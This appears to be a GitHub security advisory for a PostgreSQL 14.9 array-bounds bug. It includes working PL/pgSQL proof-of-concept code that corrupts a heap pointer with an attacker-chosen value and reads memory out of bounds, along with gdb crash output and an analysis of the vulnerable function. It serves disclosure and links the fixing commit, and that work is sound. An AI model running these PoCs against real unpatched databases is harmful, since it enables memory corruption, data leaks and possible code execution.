PostgreSQL: Array Set Element Memory Corruption
Summary
There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds.
This report only targeted PostgreSQL 14.9. Other versions were not tested against.
Severity
High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible.
Proof of Concept
8-Byte Heap Overwrite
```plpgsql
DO $
DECLARE
a int8[];
BEGIN
a[-2147483648] = 1;
a[2147483647] = 4702111234474983745;
a[-2147483646] = 2;
END;
`
Attaching gdb to your session and running the PoC you’ll see the following
```plpgsql
Program received signal SIGSEGV, Segmentation fault.
0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201
1201 ret = context->methods->realloc(context, pointer, size);
(gdb) p context
$1 = (MemoryContext) 0x4141414141414141
`
Heap Overread
Slicing this array we’re able to read out-of-bounds as well.
```plpgsql
DO $
DECLARE
a int8[];
BEGIN
a[-2147483648] = 1;...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| PostgreSQL Product | < https://github.com/postgres/postgres/commit/18b585155a891784ca8985f595ebc0dde94e0d43 | https://github.com/postgres/postgres/commit/18b585155a891784ca8985f595ebc0dde94e0d43 |
Details and references
### Summary There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds. This report only targeted PostgreSQL 14.9. Other versions were not tested against. ### Severity High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible. ### Proof of Concept 8-Byte Heap Overwrite ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745; a[-2147483646] = 2; END; ``` Attaching gdb to your session and running the PoC you’ll see the following ```plpgsql Program received signal SIGSEGV, Segmentation fault. 0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201 1201 ret = context->methods->realloc(context, pointer, size); (gdb) p context $1 = (MemoryContext) 0x4141414141414141 ``` Heap Overread Slicing this array we’re able to read out-of-bounds as well. ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745 ; RAISE NOTICE '%', a[2147483615:5]; END; ``` ```plpgsql NOTICE: {128,94450831663824,4294967533,0,65536,0,94450831669808,94450831670384,0,0,0,0,0,0,0,0,0,0,64,94450831663824,4294967527,5,94450831670632,94450831670464,0,0,0,0,32,94450831663824,4294967424,85899345920,-9223372036854775808} ``` ### Further Analysis The vulnerable function is array_set_element_expanded in arrayfuncs.c. When setting an element at an index the number of new elements is calculated. This value is then added to dim which will be used to perform bound checks. ``` if (indx[0] >= (dim[0] + lb[0])) { addedafter = indx[0] - (dim[0] + lb[0]) + 1; dim[0] += addedafter; dimschanged = true; .. snip .. if (dimschanged) { (void) ArrayGetNItems(ndim, dim); ArrayCheckBounds(ndim, dim, lb); } ``` With our setup of lower bound being -MAXINT and the new index being MAXINT this causes addedafter to be -1, and dim to be set to 0 allowing us to pass the checks that follow. The offset for the index to write to is then calculated, which will return -1. ``` offset = ArrayGetOffset(nSubscripts, dim, lb, indx); ``` ``` int ArrayGetOffset(int n, const int *dim, const
- Severity from
- GitHub (reviewed advisory)